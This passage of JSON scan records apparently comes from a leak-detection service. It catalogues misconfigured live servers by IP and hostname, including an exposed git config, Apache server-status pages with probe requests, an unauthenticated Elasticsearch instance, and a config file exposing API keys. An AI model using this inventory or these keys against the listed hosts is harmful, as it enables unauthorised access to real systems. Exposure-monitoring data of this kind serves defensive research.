\"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-type\": \"text/html; charset=UTF-8\",\n        \"server\": \"nginx/1.18.0 (Ubuntu)\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"[core]\\n\\trepositoryformatversion = 0\\n\\tfilemode = true\\n\\tbare = false\\n\\tlogallrefupdates = true\\n[remote \\\"origin\\\"]\\n\\turl = git@storegit.overskull.com:shalom-service/webservice.git\\n\\tfetch = +refs/heads/*:refs/remotes/origin/*\\n[branch \\\"main\\\"]\\n\\tremote = origin\\n\\tmerge = refs/heads/main\\n\",\n    \"time\": \"2024-02-14T12:52:44.979315755Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"nginx\",\n        \"version\": \"1.18.0\",\n        \"os\": \"Ubuntu\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 1,\n        \"size\": 277,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"South America\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"PE\",\n      \"country_name\": \"Peru\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": -12.0439,\n        \"lon\": -77.0281\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"WIN EMPRESAS S.A.C.\",\n      \"asn\": 27843,\n      \"network\": \"45.236.44.0/22\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb3174d894b474d894b43817ccb3\",\n    \"ip\": \"93.187.201.46\",\n    \"host\": \"93.187.201.46\",\n    \"reverse\": \"\",\n    \"port\": \"80\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"http\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"47\",\n        \"content-type\": \"text/html\",\n        \"server\": \"nginx\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 93.187.201.46 (via 93.187.201.46)\\n\\nServer Version: Apache/2.4.57 (Unix) OpenSSL/1.1.1k\\nServer MPM: event\\nServer Built: Jul 26 2023 18:21:19\\n\\nCurrent Time: Wednesday, 14-Feb-2024 15:51:09 +03\\nRestart Time: Thursday, 18-Jan-2024 16:18:41 +03\\nParent Server Config. Generation: 61\\nParent Server MPM Generation: 60\\nServer uptime:  26 days 23 hours 32 minutes 28 seconds\\nServer load: 1.15 0.88 0.78\\nTotal accesses: 7740125 - Total Traffic: 77.1 GB - Total Duration: 2403974462\\nCPU Usage: u129.23 s77.4 cu19083.7 cs5842.02 - 1.08% CPU load\\n3.32 requests/sec - 34.7 kB/second - 10.4 kB/request - 310.586 ms/request\\n1 requests currently being processed, 127 idle workers\\n\\n\\n\\nSlotPIDStoppingConnections\\nThreadsAsync connections\\ntotalacceptingbusyidlewritingkeep-aliveclosing\\n02169137no2yes064000\\n12168806no2yes163000\\nSum204 1127000\\n\\n________________________________________________________________\\n___________W____________________________________________________\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqDurConnChildSlotClientProtocolVHostRequest\\n\\n0-6021691370/101/56576_\\n31.5700155705850.01.48603.66\\n139.144.150.23http/1.1localhost:8080GET /debug/default/view?panel=config HTTP/1.0\\n\\n0-6021691370/102/56642_\\n31.4830127354010.00.48576.42\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/54@2x.webp HTTP/1.0\\n\\n0-6021691370/107/56710_\\n30.763185136097140.02.18588.94\\n93.187.201.46http/1.1www.caglaapi.holidayplus.pro:80GET /user_role/378 HTTP/1.0\\n\\n0-6021691370/87/56370_\\n30.79386130901240.00.67582.03\\n93.187.201.46http/1.1www.caglaapi.holidayplus.pro:80POST /configdetailss HTTP/1.0\\n\\n0-6021691370/103/56564_\\n30.873661124127930.00.53593.99\\n52.210.166.9http/1.1www.caglaapi.holidayplus.pro:80POST /api/hotels/58/roomprices HTTP/1.0\\n\\n0-6021691370/99/56515_\\n31.5330139731670.00.66682.82\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/imkanlar/4@2x.webp HTTP/1.0\\n\\n0-6021691370/101/56633_\\n30.9130138394110.00.35597.27\\n212.156.150.98http/1.1www.caglatur.com:8081GET /img/home/en-iyi-fiyatlar.png HTTP/1.0\\n\\n0-6021691370/102/56474_\\n30.9130142717480.02.27588.94\\n212.156.150.98http/1.1www.caglatur.com:8081GET /img/home/fiyat-garatisi.png HTTP/1.0\\n\\n0-6021691370/93/56980_\\n31.5330126254200.01.19590.57\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/sizi_arayalim@2x.webp HTTP/1.0\\n\\n0-6021691370/101/56595_\\n31.5700151500430.00.79576.55\\n139.144.150.23http/1.1localhost:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor\\n\\n0-6021691370/104/56270_\\n31.4030136287860.01.39586.80\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/5@2x.webp HTTP/1.0\\n\\n0-6021691370/95/56745_\\n31.4730137409410.01.65595.59\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/47@2x.webp HTTP/1.0\\n\\n0-6021691370/100/56571_\\n30.9030165990090.02.06573.99\\n212.156.150.98http/1.1www.caglatur.com:8081GET /img/tr.png HTTP/1.0\\n\\n0-6021691370/106/56663_\\n31.5700157273690.00.40570.94\\n139.144.150.23http/1.1localhost:8080GET /v2/_catalog HTTP/1.0\\n\\n0-6021691370/102/56585_\\n31.5030147269960.00.52590.70\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/20231013173030_96064@2x.webp HTTP/1.0\\n\\n0-6021691370/115/56497_\\n31.532182163388020.01.17584.09\\n93.187.201.46http/1.1www.caglaapi.holidayplus.pro:80GET /api/getcontent/header-oteller-menu HTTP/1.0\\n\\n0-6021691370/104/56409_\\n31.5030140192760.01.24580.62\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/82@2x.webp HTTP/1.0\\n\\n0-6021691370/104/56624_\\n31.5330128958410.01.22612.36\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/hemen_ara@2x.webp HTTP/1.0\\n\\n0-6021691370/96/56324_\\n31.4500160546660.00.70572.76\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/29@2x.webp HTTP/1.0\\n\\n0-6021691370/99/56351_\\n31.5030140445280.01.06567.05\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/81@2x.webp HTTP/1.0\\n\\n0-6021691370/99/56590_\\n31.5230169592590.01.56601.31\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/57@2x.webp HTTP/1.0\\n\\n0-6021691370/95/56522_\\n31.5230131130080.01.78605.90\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/55@2x.webp HTTP/1.0\\n\\n0-6021691370/103/56597_\\n31.4730141756730.01.14619.34\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/36@2x.webp HTTP/1.0\\n\\n0-6021691370/100/56765_\\n31.5230121709050.00.75562.96\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/66@2x.webp HTTP/1.0\\n\\n0-6021691370/104/56476_\\n30.8630133421400.02.46591.41\\n94.54.147.12http/1.1www.caglacdn.holidayplus.pro:80GET //holidayplus/caglatur/20240129043441-5743.webp HTTP/1.0\\n\\n0-6021691370/108/56599_\\n30.9230142862180.00.82582.52\\n212.156.150.98http/1.1www.caglatur.com:8081GET /img/bg-reservation.png HTTP/1.0\\n\\n0-6021691370/97/56817_\\n31.4933131212110.00.37588.46\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/70@2x.webp HTTP/1.0\\n\\n0-6021691370/113/56600_\\n30.9300133306490.02.01581.49\\n212.156.150.98http/1.1www.caglacdn.holidayplus.pro:80GET //holidayplus/caglatur/20240207021512-9577.webp HTTP/1.0\\n\\n0-6021691370/101/56474_\\n31.5606143887180.00.79604.31\\n81.213.247.177http/1.1www.caglatur.com:8081GET /ajax/getRegions.php HTTP/1.0\\n\\n0-6021691370/93/56640_\\n30.7210265164823410.00.73608.61\\n93.187.201.46http/1.1www.caglaapi.holidayplus.pro:80POST /autocomplete/hotel HTTP/1.0\\n\\n0-6021691370/99/56424_\\n31.3930130950470.00.92585.98\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/3@2x.webp HTTP/1.0\\n\\n0-6021691370/112/56446_\\n31.4930138023750.01.21587.73\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/53@2x.webp HTTP/1.0\\n\\n0-6021691370/101/56310_\\n30.9130168907220.01.29582.36\\n212.156.150.98http/1.1www.caglatur.com:8081GET /js/tabs.js HTTP/1.0\\n\\n0-6021691370/96/56441_\\n30.5430146396280.00.65572.66\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/ru@2x.png HTTP/1.0\\n\\n0-6021691370/92/56736_\\n31.5230145374160.00.57579.24\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/69@2x.webp HTTP/1.0\\n\\n0-6021691370/111/56460_\\n31.5230134951360.02.05571.96\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/63@2x.webp HTTP/1.0\\n\\n0-6021691370/107/56478_\\n31.5130164183670.02.03593.53\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/22@2x.webp HTTP/1.0\\n\\n0-6021691370/101/56544_\\n31.5500139291500.02.50601.69\\n139.144.150.23http/1.1localhost:8080GET / HTTP/1.0\\n\\n0-6021691370/95/56489_\\n31.4730132665550.01.57580.61\\n178.245.85.193http/1.1www.aletrishotels.com:8081GET /img/galeri/30@2x.webp HTTP/1.0\\n\\n0-6021691370/\",\n    \"time\": \"2024-02-14T12:52:32.629893749Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"nginx\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Asia\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"TR\",\n      \"country_name\": \"Turkey\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 41.0214,\n        \"lon\": 28.9948\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Netdirekt A.S.\",\n      \"asn\": 43391,\n      \"network\": \"93.187.200.0/21\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ElasticSearchOpenPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ElasticSearchOpenPlugin\"\n    ],\n    \"event_fingerprint\": \"831cb76b8e05df46be2c14e8b5f09551ee3f3d0a4e4c05ffed7e0a1ec181271a\",\n    \"ip\": \"178.79.147.40\",\n    \"host\": \"178.79.147.40\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"elasticsearch\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"539\",\n        \"content-type\": \"application/json; charset=UTF-8\",\n        \"server\": \"nginx/1.18.0 (Ubuntu)\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"Indices: 39, document count: 115, size: 40.6 MB\\nFound index internal with 1 documents (6.7 kB)\\nFound index jeecg-boot with 1 documents (5.2 kB)\\nFound index index.cfm with 0 documents (226 B)\\nFound index casa with 0 documents (226 B)\\nFound index auth with 8 documents (20.0 kB)\\nFound index session with 4 documents (35.2 kB)\\nFound index index.htm with 0 documents (226 B)\\nFound index admin with 1 documents (5.2 kB)\\nFound index .geoip_databases with 41 documents (40.2 MB)\\nFound index index.php with 0 documents (226 B)\\nFound index index.py with 0 documents (226 B)\\nFound index actuator with 5 documents (25.1 kB)\\nFound index index.do with 0 documents (226 B)\\nFound index cgi-bin with 6 documents (37.1 kB)\\nFound index solr with 1 documents (3.5 kB)\\nFound index index.html with 0 documents (226 B)\\nFound index api with 12 documents (45.1 kB)\\nFound index index.aspx with 0 documents (226 B)\\nFound index graphql with 2 documents (7.8 kB)\\nFound index oauth with 6 documents (30.6 kB)\\nFound index index.cgi with 0 documents (226 B)\\nFound index index.jsp with 0 documents (226 B)\\nFound index apisix with 1 documents (7.2 kB)\\nFound index index.pl with 0 documents (226 B)\\nFound index .kibana_1 with 1 documents (7.1 kB)\\nFound index index.asp with 0 documents (226 B)\\nFound index plugin with 3 documents (14.3 kB)\\nFound index 3.0 with 1 documents (36.0 kB)\\nFound index graphiql with 1 documents (4.3 kB)\\nFound index service with 4 documents (82.4 kB)\\nFound index ztp with 1 documents (7.9 kB)\\nFound index v1 with 1 documents (4.3 kB)\\nFound index je with 1 documents (4.3 kB)\\nFound index v2 with 3 documents (22.0 kB)\\nFound index job with 4 documents (14.8 kB)\\nFound index user with 4 documents (22.7 kB)\\nFound index v3 with 1 documents (4.3 kB)\\nFound index index.action with 0 documents (226 B)\\nFound index v4 with 1 documents (4.3 kB)\\n\",\n    \"time\": \"2024-02-14T12:51:56.281467011Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": true,\n      \"jarm\": \"27d40d40d00040d00042d43d0000004ac24e77d76646867f0f6a0c6d9b9bb0\",\n      \"cypher_suite\": \"TLS_AES_128_GCM_SHA256\",\n      \"version\": \"TLSv1.3\",\n      \"certificate\": {\n        \"cn\": \"dev-elastic.arifu.com\",\n        \"domain\": [\n          \"dev-elastic.arifu.com\"\n        ],\n        \"fingerprint\": \"f1bd60b2fe3eae5ee12a7a124a1abb33dd1ede893803164d233a4f330ee909bd\",\n        \"key_algo\": \"ECDSA\",\n        \"key_size\": 256,\n        \"issuer_name\": \"R3\",\n        \"not_before\": \"2024-01-16T09:40:12Z\",\n        \"not_after\": \"2024-04-15T09:40:11Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": true,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Elasticsearch\",\n        \"version\": \"7.17.9\",\n        \"os\": \"Ubuntu 22.04.1 LTS 5.15.0-83-generic\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 115,\n        \"files\": 0,\n        \"size\": 40632633,\n        \"collections\": 39,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [\n      \"elasticsearch\",\n      \"database\"\n    ],\n    \"geoip\": {\n      \"continent_name\": \"Europe\",\n      \"region_iso_code\": \"GB-ENG\",\n      \"city_name\": \"London\",\n      \"country_iso_code\": \"GB\",\n      \"country_name\": \"United Kingdom\",\n      \"region_name\": \"England\",\n      \"location\": {\n        \"lat\": 51.5088,\n        \"lon\": -0.093\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Akamai Connected Cloud\",\n      \"asn\": 63949,\n      \"network\": \"178.79.128.0/18\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ConfigJsonHttp\",\n    \"event_pipeline\": [\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ConfigJsonHttp\"\n    ],\n    \"event_fingerprint\": \"b18befd9dd6536aa30550de55a02c3c777a55b6ec4f39e8b2870a100ddf78d9c\",\n    \"ip\": \"8.219.94.19\",\n    \"host\": \"chat.getdeepin.org\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"7280\",\n        \"content-type\": \"text/html\",\n        \"server\": \"nginx/1.23.3\"\n      },\n      \"title\": \"Element\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"{\\n    \\\"default_server_name\\\": \\\"deepin.org\\\",\\n    \\\"brand\\\": \\\"Element\\\",\\n    \\\"integrations_ui_url\\\": \\\"https://scalar.vector.im/\\\",\\n    \\\"integrations_rest_url\\\": \\\"https://scalar.vector.im/api\\\",\\n    \\\"integrations_widgets_urls\\\": [\\n        \\\"https://scalar.vector.im/_matrix/integrations/v1\\\",\\n        \\\"https://scalar.vector.im/api\\\",\\n        \\\"https://scalar-staging.vector.im/_matrix/integrations/v1\\\",\\n        \\\"https://scalar-staging.vector.im/api\\\",\\n        \\\"https://scalar-staging.riot.im/scalar/api\\\"\\n    ],\\n    \\\"hosting_signup_link\\\": \\\"https://element.io/matrix-services?utm_source=element-web&utm_medium=web\\\",\\n    \\\"bug_report_endpoint_url\\\": \\\"https://element.io/bugreports/submit\\\",\\n    \\\"uisi_autorageshake_app\\\": \\\"element-auto-uisi\\\",\\n    \\\"showLabsSettings\\\": false,\\n    \\\"roomDirectory\\\": {\\n        \\\"servers\\\": [\\n            \\\"matrix.org\\\",\\n            \\\"gitter.im\\\",\\n            \\\"libera.chat\\\"\\n        ]\\n    },\\n    \\\"enable_presence_by_hs_url\\\": {\\n        \\\"https://matrix.org\\\": false,\\n        \\\"https://matrix-client.matrix.org\\\": false\\n    },\\n    \\\"terms_and_conditions_links\\\": [\\n        {\\n            \\\"url\\\": \\\"https://element.io/privacy\\\",\\n            \\\"text\\\": \\\"Privacy Policy\\\"\\n        },\\n        {\\n            \\\"url\\\": \\\"https://element.io/cookie-policy\\\",\\n            \\\"text\\\": \\\"Cookie Policy\\\"\\n        }\\n    ],\\n    \\\"hostSignup\\\": {\\n      \\\"brand\\\": \\\"Element Home\\\",\\n      \\\"cookiePolicyUrl\\\": \\\"https://element.io/cookie-policy\\\",\\n      \\\"domains\\\": [\\n          \\\"matrix.org\\\"\\n      ],\\n      \\\"privacyPolicyUrl\\\": \\\"https://element.io/privacy\\\",\\n      \\\"termsOfServiceUrl\\\": \\\"https://element.io/terms-of-service\\\",\\n      \\\"url\\\": \\\"https://ems.element.io/element-home/in-app-loader\\\"\\n    },\\n    \\\"posthog\\\": {\\n        \\\"projectApiKey\\\": \\\"phc_Jzsm6DTm6V2705zeU5dcNvQDlonOR68XvX2sh1sEOHO\\\",\\n        \\\"apiHost\\\": \\\"https://posthog.element.io\\\"\\n    },\\n    \\\"privacy_policy_url\\\": \\\"https://element.io/cookie-policy\\\",\\n    \\\"map_style_url\\\": \\\"https://api.maptiler.com/maps/streets/style.json?key=fU3vlMsMn4Jb6dnEIFsx\\\",\\n    \\\"branding\\\": {\\n        \\\"auth_header_logo_url\\\": \\\"https://www.deepin.org/index/assets/icons/deepin.png\\\",\\n        \\\"auth_footer_links\\\": [\\n            { \\\"text\\\": \\\"申请账号\\\", \\\"url\\\": \\\"mailto:support@deepin.org\\\" },\\n            { \\\"text\\\": \\\"WIKI\\\", \\\"url\\\": \\\"https://wiki.deepin.org/zh/Matrix\\\" },\\n\\t    { \\\"text\\\": \\\"SIG\\\", \\\"url\\\": \\\"https://github.com/deepin-community/SIG\\\" },\\n\\t    { \\\"text\\\": \\\"GitHub\\\", \\\"url\\\": \\\"https://github.com/linuxdeepin\\\" }\\n        ]\\n    }\\n}\\n\\n\",\n    \"time\": \"2024-02-14T12:51:18.843534442Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"nginx\",\n        \"version\": \"1.23.3\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [\n      \"rescan\"\n    ],\n    \"geoip\": {\n      \"continent_name\": \"Asia\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"SG\",\n      \"country_name\": \"Singapore\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 1.3673,\n        \"lon\": 103.8014\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Alibaba US Technology Co., Ltd.\",\n      \"asn\": 45102,\n      \"network\": \"8.218.0.0/15\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"DotDsStoreOpenPlugin\",\n    \"event_pipeline\": [\n      \"ip4scout\",\n      \"l9tcpid\",\n      \"l9explore\",\n      \"DotDsStoreOpenPlugin\"\n    ],\n    \"event_fingerprint\": \"5f32cf5d6962f09cdafa5447dafa54479cf7733fff7bfb0c317bcd2c57bd8e2f\",\n    \"ip\": \"93.124.249.166\",\n    \"host\": \"\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 302,\n      \"length\": 0,\n      \"header\": {\n        \"content-type\": \"text/plain; charset=ISO-8859-1\",\n        \"location\": \"https://www.ecclesia.no\",\n        \"server\": \"Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"Found 18 files trough .DS_Store spidering:\\n\\n/comp\\n/cornerstone\\n/css\\n/ext\\n/flash\\n/gfx\\n/gfx/2017\\n/gfx/images\\n/import\\n/javascript\\n/lang\\n/lib\\n/php\\n/private\\n/public\\n/service\\n/system\\n/templates\",\n    \"time\": \"2024-02-14T12:51:06.690569271Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Apache\",\n        \"version\": \"2.4.6\",\n        \"os\": \"CentOS\",\n        \"modules\": [\n          {\n            \"name\": \"OpenSSL\",\n            \"version\": \"1.0.2k-fips\",\n            \"fingerprint\": \"\"\n          },\n          {\n            \"name\": \"PHP\",\n            \"version\": \"5.6.40\",\n            \"fingerprint\": \"\"\n          }\n        ],\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"open\",\n      \"type\": \"\",\n      \"severity\": \"low\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 18,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [\n      \"php\"\n    ],\n    \"geoip\": {\n      \"continent_name\": \"Europe\",\n      \"region_iso_code\": \"NO-42\",\n      \"city_name\": \"Kristiansand\",\n      \"country_iso_code\": \"NO\",\n      \"country_name\": \"Norway\",\n      \"region_name\": \"Agder\",\n      \"location\": {\n        \"lat\": 58.1468,\n        \"lon\": 7.9827\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Telia Norge AS\",\n      \"asn\": 25400,\n      \"network\": \"93.124.128.0/17\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb3138d1a99938d1a9990c4e8e8d\",\n    \"ip\": \"213.251.158.214\",\n    \"host\": \"213.251.158.214\",\n    \"reverse\": \"\",\n    \"port\": \"80\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"http\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 404,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"317\",\n        \"content-type\": \"text/html; charset=iso-8859-1\",\n        \"server\": \"Apache\"\n      },\n      \"title\": \"404 Not Found\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 213.251.158.214 (via 192.168.141.122)\\n\\nServer Version: Apache/2.4.33 